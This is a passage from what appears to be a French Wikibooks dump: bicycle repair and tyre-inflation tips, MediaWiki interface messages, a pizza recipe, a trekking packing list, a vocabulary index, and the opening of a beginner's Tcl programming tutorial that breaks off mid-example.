part de la dynamo par les fils pour aller aux ampoules et revient par les masses métalliques de la bicyclette(garde-boue,fourche ou cadre). Les masses sont reliée entre elles, il n'y a donc qu'un fil qui part vers chaque ampoule. L'oxydation du métal ou une nouvelle peinture par exemple sont des isolants. Pour y remédier, poncez les zones en contact et si nécessaire, rajoutez une rondelle éventail. * court-circuit Il arrive que l'isolant des fils soit détérioré, et du coup rentre en contact avec la masse. Pour y remédier, débranchez tour à tour les deux fils de la dynamo puis rebranchez les chacun leur tour en faisant tourner la dynamo. Comme il est rare que les deux fils soient défectueux, un des deux points lumineux va s'allumer. Changez le fil de celui qui ne s'allume pas. [[catégorie:Livret technique]] Réparer un pneu 5169 20578 2005-09-04T23:00:58Z Loïc 531 * Il est possible de réparer un pneu légèrement troué en plaçant entre la chambre à air et le pneu un morceau découpé dans un autre pneu. * Un pneu peut se coudre. [[catégorie:Livret technique]] Régler les vitesses 5170 47129 2006-07-02T11:59:47Z 81.51.219.132 == réglage des boulons serre-câble des dérailleurs == * positionnez la manette des vitesses afin que la chaîne se trouve sur le petit pignon * si le câble est trop ou pas assez tendu, desserrer l'écrou serre-câble sur le dérailleur et tirez le câble avec une pince, vous devrez le maintenir tendu tout en resserrant l'écrou * faites la même chose avec le dérailleur avant == réglage du dérailleur arrière == * visser ou dévisser les deux vis-butée de manière à ce que la chaîne ne puisse aller ailleurs que sur les pignons == réglage du dérailleur avant == * afin de limiter le battement de la fourchette guide chaîne, il y a là aussi deux vis, une jouant sur le déplacement en aval et l'autre en amont, peaufinez le réglage de celles-ci de manière à ce que la chaîne reste sur les plateaux après tout type de manipulation possible ---- Autre méthode, expliquée par Marc, commerçant en cycle : La méthode est la même pour un double ou pour un triple plateau puisq'il n'y a pas de réglage de butée pour le plateau central.<br> 1. Placer la chaîne sur un pignon intermédiaire à l'arrière<br> 2. Placer la chaîne sur le petit plateau du pédalier.<br> 3. Serrez au maximum mais sans forcer la vis L (Low) <br> 4. Placer la chaîne sur le grand plateau<br> 5. Serrez au maximum mais sans forcer la vis H (High)<br> 6. Actionnez votre changement de plateau sans le ménager pour contrôler la qualité de votre <br>réglage.[http://www.cycle-one.be lien titre] ---- [[Catégorie:Livret technique]] Gonfler un pneu 5171 43157 2006-05-26T08:19:25Z 134.214.207.107 impératif N'imaginez pas que vos pneumatiques sont inertes. Les chambres perdent de l'air régulièrement. Un pneu bien gonflé permet d'assurer une surface minimale de frottement entre la roue et le sol. Vous aurez alors moins d'effort à fournir en pédalant. Gonflez entre 3 et 3.5 kilos pour un VTT, à 5 kg maxi pour un routier bien chargé. Respectez le cas écheant les pressions indiquées sur la bande des pneux. Il est très important de vérifier le bon alignement du pneu et de la jante des deux côtés, si ce n'est pas le cas c'est une hernie (la chambre est coincée entre le pneu et la jante) et il y aura une explosion... Il existe deux types de valves pour les chambres à air de vélo. L'une dite "VTT" (Shraeder)s'apparente aux valves utilisées pour les automobiles, l'autre valve (Presta) plus répandue mais plus fine pour les hautes pression. Si vous disposez d'un gonfleur pour valve SCHRAEDER et que votre chambre à air à gonfler a une valve PRESTA: un petit truc, si vous n'avez le double embout qui pourrait vous dépanner en cas de pépin. * découpez une petite cartouche d'encre vide de type stylo plume à chacune de ses extrémités * placez-la sur la valve de votre chambre * positionnez l'embout du gonfleur sur la cartouche * gardez l'ensemble solidaire avec votre main lorsque vous gonflez votre pneu Verifiez la dureté du pneu tout en gonflant et prenez soin de ne pas faire éclater la chambre à air si vous utilisez un gonfleur électrique. [[catégorie:Livret technique]] MediaWiki:Confirmrecreate 5175 sysop 46719 2006-07-01T18:48:48Z MediaWiki default L'utilisateur [[User:$1|$1]] ([[User talk:$1|talk]]) a supprimé cette page après que vous ayez commencé à l'éditer avec la raison : ''$2'' Veuillez confirmer que vous désirez vraiment re-créer cette page. MediaWiki:Deletedwhileediting 5176 sysop 46735 2006-07-01T18:48:48Z MediaWiki default Attention : cette page a été supprimée après que vous ayez commencé à l'éditer. MediaWiki:Fileexists-forbidden 5177 sysop 46772 2006-07-01T18:48:49Z MediaWiki default Un fichier avec ce nom existe déjà ; merci de retourner en arrière et de copier le fichier sous un nouveau nom. [[Image:$1|thumb|center|$1]] MediaWiki:Fileexists-shared-forbidden 5178 sysop 46773 2006-07-01T18:48:49Z MediaWiki default Un fichier portant ce nom existe déjà dans le répertoire de fichiers partagés ; merci de retourner en arrière et de copier le fichier sous un nouveau nom. [[Image:$1|thumb|center|$1]] MediaWiki:Fileuploadsummary 5179 sysop 46779 2006-07-01T18:48:49Z MediaWiki default Description : MediaWiki:Largefileserver 5180 sysop 46842 2006-07-01T18:48:49Z MediaWiki default Ce fichier possède une taille supérieure à celle autorisée par la configuration du serveur. MediaWiki:License 5181 sysop 46843 2006-07-01T18:48:49Z MediaWiki default Licence MediaWiki:Loginreqlink 5182 sysop 20610 2005-09-05T09:20:02Z MediaWiki default connecter MediaWiki:Loginreqpagetext 5183 sysop 20611 2005-09-05T09:20:02Z MediaWiki default Vous devez vous $1 pour voir les autres pages. MediaWiki:Noimage-linktext 5184 sysop 46900 2006-07-01T18:48:50Z MediaWiki default le copier MediaWiki:Nolicense 5185 sysop 46902 2006-07-01T18:48:50Z MediaWiki default Aucune licence sélectionnée MediaWiki:Permalink 5186 sysop 21876 2005-09-22T11:06:30Z Guillaumito 46 traduction Lien permanent MediaWiki:Prefixindex 5187 sysop 46920 2006-07-01T18:48:50Z MediaWiki default Index des préfixes MediaWiki:Recreate 5188 sysop 46952 2006-07-01T18:48:50Z MediaWiki default Recréer MediaWiki:Shareduploadwiki-linktext 5189 sysop 47000 2006-07-01T18:48:50Z MediaWiki default Page de description du fichier MediaWiki:Showhidebots 5190 sysop 20623 2005-09-05T09:20:03Z MediaWiki default ($1 bots) MediaWiki:Tooltip-recreate 5191 sysop 47049 2006-07-01T18:48:51Z MediaWiki default Recreate the page despite it has been deleted MediaWiki:Undeletehistorynoadmin 5192 sysop 47064 2006-07-01T18:48:51Z MediaWiki default Cet article a été supprimé. Le motif de la suppression est indiqué dans le résumé ci-dessous, avec les détails des utilisateurs qui l'ont édité avant sa suppression. Le contenu de ces versions n'est disponible qu'aux administrateurs. MediaWiki:Updatedmarker 5193 sysop 47077 2006-07-01T18:48:51Z MediaWiki default modifié depuis ma dernière visite MediaWiki:Viewdeleted 5194 sysop 47096 2006-07-01T18:48:51Z MediaWiki default Voir $1 ? MediaWiki:Viewdeletedpage 5195 sysop 20637 2005-09-05T09:20:05Z MediaWiki default View deleted pages MediaWiki:Wlhideshowbots 5196 sysop 47118 2006-07-01T18:48:51Z MediaWiki default $1 les contributions de bots Livre de Cuisine/Tartes et pizzas/Pizza au fromage gorgonzola 5198 46283 2006-06-28T11:07:26Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza au fromage gorgonzola]] Garnir la pâte de gorgonzola émiétté puis parsemer d'ail en fines lamelles avant d'arroser d'une bonne huile d'olive. Saler et poivrer. On peut remplacer l'ail par des oignons émincés. Certains commencent, comme pour les autres pizzas par déposer une première couche de pulpe de tomate. Trekking 5200 20658 2005-09-05T18:15:57Z Hashar 532 depuis http://fr.wikipedia.org/wiki/Liste_des_choses_%C3%A0_apporter_en_trekking voir talk pour historique [[catégorie:Sports de plein air]] Voici une liste de choses à apporter en [[trekking]]. Cette liste contient tous les éléments pouvant être utiles, mais plusieurs sont totalement facultatifs. Le but est, ici, d'identifier tout ce qui peut être utile afin que les gens n'oublient pas un ou plusieurs items avant de partir. __TOC__ ==Trekking (général)== * Lampe de poche * Alumettes/briquets * Bas de laine * Bas anti-sueur * Bas de coton * Tuque (pour dormir la nuit) * Gourde(s) * Sac à dos * Carte d'assurance maladie * Réchaud au gaz * Hachette * Sciotte * Journal (Par précaution) * Fanal ou bougies * Sacs de poubelle * Papier hygiénique * Gamelle et ustenciles * Sifflet * Gilet chaud * Shampoing/savon biodégradable * Pâte à dents biodégradable * Brosse à dents * Impermeable * Couteau/canif * Corde * Carte(s) * Boussole * Lunette de soleil * [[Trousse de secours]] ==Trekking d'été== * Bottes de marche * Batons de marche * Tente * Toile (Abris de cuisine) * Chasse-moustique * Médication pour ampoules * Chapeau ou casquette (pour éviter l'[[insolation]]) * Crème Solaire * Lunette fumées ==Trekking d'hiver== * Slipping d'hiver (-40 C) * Bottes d'hiver * Pelle (construction de [[qwinzee]]) ==Divertissement (facultatif)== * Intruments de musique (guitare, banjo, accordéon, cornemuse, harmonica) * Jumelles (observation d'oiseau) Vocabulaire 5202 28300 2006-01-06T02:46:11Z 62.2.213.130 /* Autres langues: */ actuellement, plus de 4000 termes en français! ENTOURAGE: *[[Vocabulaire / Univers | Univers]] *[[Vocabulaire / Terre | Terre]] *[[Vocabulaire / Homme | Être humain]] *[[Vocabulaire / Famille | Relations familiales]] *[[Vocabulaire / Alimentation | Alimentation]] *[[Vocabulaire / Hygiène | Hygiène]] *[[Vocabulaire / Maladies | Maladies et urgences]] *[[Vocabulaire / Vêtements | Vêtements]] *[[Vocabulaire / Maison | Maison]] *[[Vocabulaire / Meubles | Meubles]] ACTIVITES: *[[Vocabulaire / Expression personnelle | Expression personnelle]] *[[Vocabulaire / Activités & ustensiles | Activités de base et ustensiles]] *[[Vocabulaire / École et apprendre | École et apprendre]] *[[Vocabulaire / Vocabulaire grammatical | Vocabulaire grammatical]] *[[Vocabulaire / Adjectifs | Adjectifs]] SOCIETE: *[[Vocabulaire / Société | Société]] *[[Vocabulaire / Ville | Ville]] *[[Vocabulaire / État | État]] *[[Vocabulaire / Locomotion et transport | Locomotion et transport]] VIVRE ENSEMBLE: *Information et ses techniques *Arts *Jeux et loisirs *Commerce *Rencontres *Vie professionnelle == Autres langues: == [[:de:Vokabular|allemand]] - [[:zh:C%C3%ADdi%C4%83n|chinois]] - [[:es:Vocabulario (es)|espagnol]] - [[:fr:Vocabulaire|français]] - [[:hi:Hindustani|hindoustani]] - [[:id:Vokabuler|indonésien]] - [[:ie:Vocabul%C3%A1rium|interlingue]] - [[:it:Vocabolario|italien]] - [[:mg:Voambolana|malgache]] - [[:pt:Vocabul%C3%A1rio|portugais]] - [[:tr:S%C3%B6z_hazinesi|turc]] Vos premiers pas en Tcl 5212 40487 2006-04-18T01:31:37Z 82.233.105.228 {{Comment j'ai divisé par 10 le nombre de lignes de code de mes programmes !}} ''Auteur de la version initiale : Arnaud LAPREVOTE'' ==Introduction== ===Pourquoi un cours sur le tcl/tk ?=== Je me présente, je m'appelle Henri. Euh non, Arnaud LAPREVOTE. Il était une fois un programmeur qui avait passé des milliers d'heures à programmer en C, particulièrement des applications de calculs scientifiques (traitement vidéo). Avec les années, il avait acquis une grande facilité dans l'écriture des programmes C, et en même temps une certaine impatience. Autant le C le satisfaisait pour le calcul scientifique, autant dès qu'il fallait traiter des fichiers ou des chaînes de caractères, il trouvait que c'était fastidieux et surtout générateur d'erreurs de manière inacceptable. Comme tout le monde, il avait entendu parler des langages de script genre Perl, tcl/tk, et autres (python). A l'occasion de l'installation de son PC sous Linux, il prit le temps de commencer à programmer en tcl. Et ce fut un choc. Plus de pointeurs, plus de gestion-mémoire, de l'idée au programme en un minimum de lignes. Tout cela trivial à apprendre, gratuit, qui peut être redistribué, fonctionnant sous Unix (tous les Unix) et sous Windows. Capable de faire des interfaces graphiques de manière très facile, de la programmation cgi en plaisantant. Facile à expliquer. Génial. Ce programmeur, c'est moi. Et j'ai très envie de vous faire partager cette passion pour mon langage préféré. ===Et la concurrence ?=== Il y a de très nombreux concurrents au Tcl/Tk : * Perl, * Python, * Scheme (LISP), * dans une certaine mesure PHP, * Visual Basic, * Java. Tous ces langages ont des avantages et des inconvénients. Mes critères de choix principaux sont : * open source (source disponible, gratuite et qui peut être redistribuée), * lisibilité (facilité à maintenir et déboguer), * multiplateforme (Unix, Linux, Windows), * grand nombre d'extensions. Un dernier avantage est que le Tcl n'a pas une ambition infinie. Le Tcl ne veut pas TOUT faire. C'est juste un langage de "colle" pour faire tenir un ensemble d'application ensemble. Si vous voulez faire des choses très grosses ou très complexes ou très rapides, vous êtes priés de vous tourner vers le C, le C++ ou le java. À cette lumière, il ne reste que le python et le tcl, à la limite le Perl. La syntaxe du Perl me rend fou, donc je l'exclus. Je m'intéresse au Python. ===Autres avantages=== Les points suivants méritent d'être soulignés : * fonctions réseau (socket) intégrées très élégamment au langage. Un serveur Web se fait en claquant des doigts, * faciliter d'intégration du tcl dans une application existante, * très grande robustesse du langage, * faciliter d'intégration de fonctions C dans le Tcl, * la compatibilité ascendante n'est pas une théorie, mais une réalité, * très forte cohérence due à une origine universitaire. ===Inconvénients=== Tout n'est pas parfait en tcl. * le langage n'est pas en GPL => moins grande dynamique du langage que le python ou le Perl, * il n'est pas possible de définir de vraies structures en tcl (au sens C du terme). Cela peut nuire à la lisibilité des programmes et limite la taille de ce que l'on peut programmer. On peut se tourner vers les extensions objet du tcl pour avoir ces fonctions, * il manque un IDE libre avec un débogueur intégré pour faciliter la prise en main par les débutants. ==Historique== Tcl fut créé en 1990 par John OUSTERHOUT à l'Université de Berkeley. C'est un langage de "collage" pour attacher ensemble plusieurs applications. C'est un langage interprété, mais compilé à la volée depuis la version 8.0. La version actuelle est Tcl 8.3. Après Berkeley, John Ousterhout est passé chez Sun, puis il a créé sa propre société Scriptix qui est devenue ensuite Ajuba Solutions et a été rachetée récemment. Des centaines de programmes et de société utilisent le tcl, mais souvent de manière souterraine. Tcl est donc un langage discret. ==Ressources utiles== ===Sites Web=== Le père de tous les sites : http://www.tcl.tk Une foultitude d'informations se trouvent sur : http://wiki.tcl.tk Le site Web de francophone La Rochelle Innovation consacré au tcl/tk : http://www.larochelle-innovation.com/tcltk Pour charger tcl/tk : http://www.activestate.com/Products/Download/Register.plex?id=ActiveTcl : ne pas remplir le formulaire et cliquer sur Download. Toute la documentation et plus sur : http://www.linbox.com/ucome.rvt?file=/any/doc_distrib/tcltk-8.3.2/index.html ===Les livres=== "Practical Programming in Tcl/Tk" ISBN: 0-13-038560-3 par Brent Welch <welch@acm.org>, Ken Jones, et Jeff Hobbs en partie en ligne sur http://www.beedub.com/book/ : la bible incontournable "Graphical Appications with Tcl&Tk" ISBN : 1-55851-471-6 par Eric F.Johnson : un très bon livre pour commencer. "TCL/TK Apprentissage et référence" ISBN : 2-7117-8679-X par Bernard Desgraupes . Je l'ai juste feuilleté, je suis très vexé de ne pas l'avoir écrit. ==Vos premiers pas en Tcl== ===Le premier pas=== Pour démarrer un interpréteur tcl, tapez : <pre> tclsh </pre> Alternativement, sous Windows, allez dans le menu "démarrer", déroulez-le sous menu tcl puis cliquez sur tclsh ou wish(plutôt wish). Vous obtenez alors un invite de commande en %. Taper les lignes suivantes : <pre> % set myname "Arnaud LAPREVOTE" Arnaud LAPREVOTE % puts $myname Arnaud LAPREVOTE % set i 0 0 % puts $i 0 % incr i 1 % string toupper $myname ARNAUD LAPREVOTE </pre> Les points clés de cet exemple sont : ''COMMANDES'' <pre> set nom_de_variable "valeur" puts "chaine de caractères" incr nom_de_variable_numérique [incrément] </pre> ===Le deuxième pas=== <pre> % for { set i 0 } { $i < 3 } { incr i } { puts $i puts "$i" puts [string toupper "Free&ALter Soft : $i"] } 0 0 FREE&ALTER SOFT : 0 1 1 FREE&ALTER SOFT : 1 2 2 FREE&ALTER SOFT : 2 % #this is a remarque % set i 0; set j 1; #that also 1 </pre> ''COMMANDES'' <pre> for { initialisation } { end condition } { incrementation } { code running at each loop } </pre> ''SYNTAXE'' <pre> command [argument1] [argunment2] first_command; second_command "$substitution" "\$caracter printed as is" [immediate execution] {execute as late as possible} #remarque </pre> ==La syntaxe du tcl== Un des problèmes du tcl est sa simplicité. Concernant sa syntaxe, il n'y a que 2 choses à savoir. ''Le premier mot de la commande est TOUJOURS la commande.'' <pre> commande argument1 argument2 argument3 ... </pre> Donc en tcl, pour initialiser une variable on écrit : <pre> set toto "xxxx" </pre> ET PAS <pre> toto = "xxxx" </pre> ''Les arguments de la commande sont séparés les uns des autres par des espaces.'' D'où obligatoirement : <pre> for {set i 0} {$i < 4} {incr i} { } </pre> Et non pas <pre> for{set i 0}{$i < 4}{incr i}{ } </pre> ===La clé du tcl : la substitution=== Il y a une finesse en tcl. Les substitutions. L'interprétation d'une ligne se fait en 2 temps : * substitution de tout ce qui est substituable (variable, code entre crochets []), * exécution de la commande. Donc : <pre> % set toto "TOTO" TOTO % set tata "$toto" TOTO % set titi "[expr 1 + 2]" 3 % set tutu [string trim [string tolower \ "Phrase avec des espaces : $toto va "]] phrase avec des espaces : toto va % set tutu "[string trim [string tolower \ "Phrase avec des espaces : $toto va "]]" phrase avec des espaces : toto va % puts "--$tutu--" --phrase avec des espaces : toto va-- </pre> L'exécution d'un code entre [] et la substitution dans l'expression appelante du contenu de [] par son résultat. C'est ce que l'on appelle de la programmation fonctionnelle. Le LISP est l'archétype de ces langages. Le tcl permet de mélanger élégamment programmation fonctionnelle et procédurale. Dans certains cas (les traitements sur des chaînes de caractères) la programmation fonctionnelle est TRES (très, vraiment très, j'insiste encore ? non) pratique. Pour empêcher la substitution, on utilise les accolades { } : <pre> % set toto {TOTO} TOTO % set tata {$toto} $toto % set titi {[expr 1 + 2]} set titi {[expr 1 + 2]} % set tutu [string trim \ [string tolower "Phrase avec des espaces : $toto va "]] phrase avec des espaces au bout : toto va % set tutu {[string trim \ [string tolower "Phrase avec des espaces : $toto va "]]} [string trim [string tolower "Phrase avec des espaces au bout : $toto va "]] % puts {--$tutu--} --$tutu-- </pre> Pour affiner ces notions, on peut ajouter que le caractère\ (barre oblique inverse), force l'interprétation du caractère le suivant comme étant un simple caractère et rien d'autre : <pre> set toto {TOTO} TOTO % set tata "\$toto" $toto % set tata Ce\ qui\ suit\ est\ une\ seule\ chaîne Ce qui suit est une seule chaîne % puts "\[ pas d'interprétation hâtive ]" [ pas d'interprétation hâtive ] </pre> Et que l'on peut utiliser les accolades autour d'un nom de variable pour lever l'ambiguïté : <pre> % set var1 "CONTENU ORIGINE" CONTENU ORIGINE % set var12 "AUTRE CONTENU" AUTRE CONTENU % puts "${var1}2" CONTENU ORIGINE2 % puts "${var12} == $var12" AUTRE CONTENU == AUTRE CONTENU </pre> Si vous avez complètement compris ce qui précédait, alors une friandise (sinon c'est le moment de piquer un roupillon, de papoter avec les voisins, de se taper un carton, de relever ses textos, et de noter qu'il faut relire le paragraphe qui suit dans 15 jours). L'instruction ''eval'' permet de forcer une évaluation supplémentaire, et de temps en temps c'est fantastique (le préprocesseur de tcl est tcl contrairement au C): <pre> #!/usr/bin/tclsh set var1 "Un" set var2 "Deux" set var3 "Trois" set var4 "Quatre" set var5 "Cinq" set var6 "Six" for { set i 1 } { $i < 7 } { incr i } { set command "puts \$var$i" eval $command } Un Deux Trois Quatre Cinq Six </pre> ==Types de données== ===Les chaînes de caractères et les scalaires=== * scalaire : tcl 7.6 - chaînes seulement => tcl 8.0 - chaînes et valeurs. Tout est chaîne en tcl : c'est la clé de la facilité d'interaction : toute fonction peut envoyer des résultats à n'importe quelle autre. <pre> %set str1 "0123456789" %string length $str1 10 %string index $str1 5 5 %string range $str1 0 4 01234 % string compare $str1 "101112131415" -1 %proc frame_string { str } { format "###->%<-###" $str } %frame_string "Arnaud LAPREVOTE" ###->Arnaud LAPREVOTE<-### %frame_string "Arnaud LAPREVOTE " ###->Arnaud LAPREVOTE <-### %frame_string [string trimright "Arnaud LAPREVOTE "] ###->Arnaud LAPREVOTE<-### </pre> ''COMMANDES'' <pre> string length $a_string string index $a_string index ; #(0 is first) string range $a_string first_index last_index </pre> ''SYNTAXE'' <pre> proc function_name { list of args } { instructions return 5 } </pre> ===Les listes=== On utilise beaucoup les listes en tcl. <pre> set mylist [list "toto et tata" 1 [list 1 2 3] stop] {toto et tata} 1 {1 2 3} stop % puts [llength $mylist] 4 % lindex $mylist 0 toto et tata % lrange $mylist 0 1 {toto et tata} 1 % lsort $mylist 1 {1 2 3} stop {toto et tata} % set mylist [linsert $mylist 1 coucou] {toto et tata} coucou 1 {1 2 3} stop % lappend mylist "why not" {toto et tata} coucou 1 {1 2 3} stop {why not} % puts $mylist {toto et tata} coucou 1 {1 2 3} stop {why not} % split "1,2,3,4,5,6" , 1 2 3 4 5 6 </pre> <table border=1> <tr> <th> COMMANDES</th><th>Description</th> </tr><tr> <td> list first_elt second_elt ... </td><td> Création d'une liste. Renvoi une liste.</td> </tr><tr> <td> llength $a_list </td><td> Renvoi le nombre d'éléments de la liste </td> </tr><tr> <td> lindex $a_list elt_nber </td><td> Renvoi l'élément n° elt_nber de la liste. elt_nber peut être end (dernier élément).</td> </tr><tr> <td> lrange $a_list start_nber end_nber </td><td> Renvoi une liste composée des éléments commençants ) start_nber et finissant à end_nber</td> </tr><tr> <td> lsort $a_liste </td><td> Ordonnancement de la liste. De nombreuses options permettent de classer en ordre croissant/ décroissant, en utilisant un élément d'une sous-liste comme clé, en ordre numérique, ... Renvoi une liste</td> </tr><tr> <td> linsert $a_list nber elt_to_insert </td><td> Insère un élément dans une liste à l'endroit indiqué. Renvoi une liste.</td> </tr><tr> <td> lappend a_list elt_to_append_at_the_end </td><td> Ajoute les éléments suivant à la fin de la liste. ''ATTENTION LAPPEND NE RENVOIE PAS DE LISTE. IL MET AU BOUT DE LA LISTE NOMMÉE a_list LES ÉLÉMENTS.''</td> </tr><tr> <td> split "chaîne de caractère" [caractère] </td><td> Transforme une chaîne de caractères en une liste. Le séparateur est le caractère fourni en second paramètre.</td> </tr> </table> ===Chaînes et expressions régulières=== Les expressions régulières sont une fonction clé des langages de scripts (ksh, Perl, awk, tcl, python, ...). Elles ne sont pas du tout naturelles, mais une fois comprises, elles sont un outil très puissant. ''Vous devez les essayer !'' Une seule méthode pour survivre en United States of Regular Expressions : ''essayez d'abord'', puis programmez. Même une ceinture noire 4ème dan de tcl fait comme cela. ''COMMANDES'' <pre> regexp {sf(first expr)(second expr)} $string \ matching_string first_matching_str second_matching_string </pre> * ''.'' n'importe quel caractère, * ''*'' le caractère précédent 0 ou plusieurs fois, * ''+'' preceding character at least once or more, * ''[a-zA-Z]'' character list or range, * ''[^a-z]'' not these characters, * ''\$'' exactly the character $ forget rules, * ''^'' first character of the string, * ''$'' last character of the string, * ''?'' matches preceding character once or nothing, * pattern1|pattern2 matches pattern1 or pattern2. <pre> %set reg "This is a string = 12" This is a string = 12 % regexp {([a-zA-Z]*) *= *([0-9]*)} $reg string var val 1 % puts $string string = 12 % puts $var string % puts $val 12 % set reg "string = 12; # forget the rest" string = 12; # forget the rest % regsub {([a-zA-Z]*) *= *([0-9]*)} $reg \ {and \2 = \1} string 1 %puts $string and 12 = string; # forget the rest </pre> ===Les tableaux associatifs=== <pre> %set good(name) "Free&ALter Soft" %set good(first_name) "Laprevote" %set good(sur_name) "Arnaud" %proc puts_array { current_array } { upvar $current_array bad foreach name [array names bad] { puts "$name = $bad($name)" } } %puts_array good first_name = Laprevote name = Free&ALter Soft sur_name = Arnaud </pre> <table border=1><tr> <th> COMMANDES </th><th> EXPLICATION</th> </tr><tr> <td> set toto(tata) "string" </td><td> Initialisation à string de l'entrée tata dans le tableau toto</td> </tr><tr> <td> array exists name </td><td> Renvoi 1 si le tableau name existe</td> </tr><tr> <td> array names name </td><td> Renvoi la liste des entrées du tableau</td> </tr><tr> <td> array get name </td><td> Liste de paires clé valeur du tableau name</td> </tr><tr> <td> array set name list </td><td> Initialise le tableau name en utilisant une liste à la syntaxe identique au résultat de array get name</td> </tr><tr> <td> parray name </td><td> Affichage du tableau name</td> </tr><tr> <td> upvar $name name_to_use </td><td> Passage d'un tableau par pointeur à une fonction</td> </tr> </table> <pre> proc this_proc { sent_array } { upvar $sent_array array_to_use parray $array_to_use } this_proc toto </pre> ==Commandes de contrôle== ===Conditions, boucles, contrôle de l'exécution=== <pre> if { condition } { #code à exécuter si la condition est vraie } elseif { condition2 } { # code à exécuter si la condition2 est vraie } else { # code à exécuter si aucune condition n'est vraie } </pre> <pre> while { condition } { # code à exécuter tant que la condition est vraie } </pre> <pre> switch valeur { value1 { #code à exécuter si valeur remplie la condition value1 } value2 { #code à exécuter si valeur remplie la condition value2 } default { #code à exécuter si aucune des conditions précédentes n'est vraie } } </pre> Les options -exact -glob et -regexp permettent de choisir le type de règle de comparaison utilisé. Pour distinguer les options de switch de l'argument final de switch on utilise -- : <pre> switch -exact -- $toto { 1 { puts 1 } } </pre> Si l'on est en mode -exact de switch, on cherche la section de switch dont la valeur est strictement identique à l'argument de switch. Si l'on est en mode -glob, alors * remplace n'importe quel caractère zéro ou plusieurs fois. Donc : <pre> set toto test switch -glob -- $toto { t* { puts "Mode test" } default { puts "Autre chose" } } </pre> Enfin en mode regexp, on utilise un mode de comparaison de type expression régulière. <pre> set toto test switch -regexp -- $toto { [tT].* { puts "Mode test" } default { puts "Autre chose" } } </pre> Un exemple plus complet : <pre> set i 0 while { $i < 200 } { switch -exact -- $i { 0 { puts "Je ne vois pas de mouton" } 1 { puts "Whoua un mouton là" } 100 { puts "T'en a pas marre des moutons ?" puts "Tape Ctrl-c pour arrêter du plouc !" } default { puts "$i moutons" } } incr i } puts "J'ai une indigestion de mouton," puts "plus le mal de mer et la tête lourde" puts "avec une grosse envie de dormir. J'arrête." </pre> <pre> for { # code d'initialisation } { condition } \ { # passage à l'état suivant (typ. incrémentation } { # code à exécuter } </pre> Exemple <pre> for { set i 1 } { $i < 100 } { incr i } { if { $i == 1 } { set pluriel "" } elseif { $i == 57 } { puts "Un mosellan" set pluriel "s" }else { set pluriel "s" } puts "$i mouton${pluriel}" } </pre> Enfin, il ne faut pas oublier l'instruction foreach. Cette instruction permet de boucler sur les éléments d'une liste. <pre> set l [list lundi mardi mercredi jeudi vendredi samedi dimanche] foreach jour $l { switch -regexp -- $jour { ^[lmmjvs].* { puts "Le $jour on bosse" } default { puts "Le $jour on bulle" } } } </pre> ===Fonctions et procédures=== La commande permettant de définir une procédure est proc. C'est une commande comme une autre qui prend 3 arguments : <pre> proc nom_de_la_procedure { liste des arguments } { # code a exécuter quand la procédure est appelée. # Les valeurs des variables $liste $des et $arguments sont disponibles # On peut avoir accès aux variables défini au niveau 0 de l'exécution # avec l'instruction global # upvar permet de passer des variables par pointeur # on retourne une valeur avec : return 1 } </pre> Exemple : <pre> #!/usr/bin/tclsh set DEBUG 1 proc debug { message } { global DEBUG if $DEBUG { puts $message } } proc read_file { filename } { if { [catch { set fileid [open $filename] }] } { puts "Impossible d'ouvrir $filename" return "" } debug "Le fichier $filename est ouvert" set full_text [read $fileid] # Je vais renvoyer la liste des lignes du fichiers return [split $full_text "\n"] } set cour1_list [read_file "cour1.txt"] puts "$cour1_list" </pre> ==Entrées/sorties et gestion des erreurs== ===Entrées/sorties=== Les commandes sont les suivantes : ||open gets seek flush close read tell puts file La commande open retourne un identifiant qui sera utilisé lors des appels aux autres commandes. Ex: <pre> set f [open "toto.txt" "r"] => file4 set toto [read $f] => xxxxxx close $f </pre> Ou encore : <pre> set f [open "titi.txt" w] => file4 puts $f "Ecrit ce texte dans le fichier" # puts permet d'écrire dans un canal déterminé (défaut sortie standard) close $f </pre> Les autres commandes utiles sont : <pre> # lecture d'une ligne set x [gets $f] # read permet de lire un certain nombre d'octets read $f 100 # seek pour se positionner set f [open "database" "r"] seek $f 1024 read $f 100 Ici on lit les octets 1024 a 1123 </pre> ===Gestion des erreurs=== La commande catch permet d'attraper les erreurs : <pre> if [catch { n'importe quoi}] { puts "Vous avez dû taper une bêtise dans la commande appelée par catch" exit } </pre> Tout cela est bien sûr très utilisé lors de l'ouverture d'un fichier en lecture ou en écriture et plus généralement dès que l'on communique avec l'extérieur. <pre> catch { exec cp toto tutu } </pre> La commande error permet elle de générer une erreur dans un code et d'y associer un message d'erreur. ==Récapitulatif des commandes du Tcl== ''COMMANDES TRES UTILISEES'' <pre> for incr list regsub close expr foreach llength append concat format load return array gets lrange proc switch file glob lappend lreplace puts break global lsearch set catch eval lindex lsort while exec if linsert open regexp source </pre> ''MOINS USITEES'' <pre> clock exit package split unknown after info pid rename string unset fblocked interp pkg_mkIndex subst update continue fconfigure join scan uplevel bgerror eof seek tclvars upvar error fileevent library pwd tell vwait filename history read socket time cd flush trace </pre> Comme vous pouvez le remarquer, cela représente vraiment peu de commandes, ce qui explique la facilité d'apprentissage du tcl. ==Pas toujours les mêmes== ===Lecture de fichiers=== L'objectif est d'écrire un programme tcl qui parcourra un fichier HTML et donnera la liste des noms entre les tags HTML h1 et /h1 et les variantes de ces tags h2 /h2 et h3 /h3. La liste sera imprimée sur la sortie standard. Il faut tester sur la page suivante : http://www.w3.org/TR/REC-html32.html Sauvegardez cette page dans /tmp sous le nom test.html, puis lancez votre programme dessus. ===Lecture des arguments d'un programme=== Vous souhaitez écrire un programme qui a des options d'appel en ligne de commande. En particulier : - -h[elp] : affichage d'une aide - -f[ile] nom_de_fichier : fichier d'entrée, - -l[evel] [0-9]+ : niveau de recherche de 1 à ce que vous voulez. Les arguments peuvent être passés sur la ligne de commande dans n'importe quel ordre. A la fin de l'initialisation de la fonction vous avez 3 drapeaux à 1 ou 0 indiquant si les options -help, -file ou -level ont été appelées. Le nom du fichier d'entrée et le niveau sont stockés dans les variables filename et level. Lors de l'appel d'un programme, les variables suivantes sont disponibles : * argc : nombre d'arguments sur la ligne de commande (stockée dans argv), * argv : liste des arguments sur la ligne de commande, sans la commande, * argv0 : nom de la commande, * env : tableau contenant les variables d'environnement. <pre> #!/usr/bin/tclsh puts "argc : $argc" puts "argv : $argv" set i 0 foreach arg $argv { puts "argument $i : $arg" incr i } puts "argv0 : $argv0" </pre> Nous appelons cette commande args.tcl et la rendons exécutable puis testons : <pre> args.tcl $ ./args.tcl argc : 0 argv : argv0 : ./args.tcl $ ./args.tcl -f test -level 3 argc : 4 argv : -f test -level 3 argument 0 : 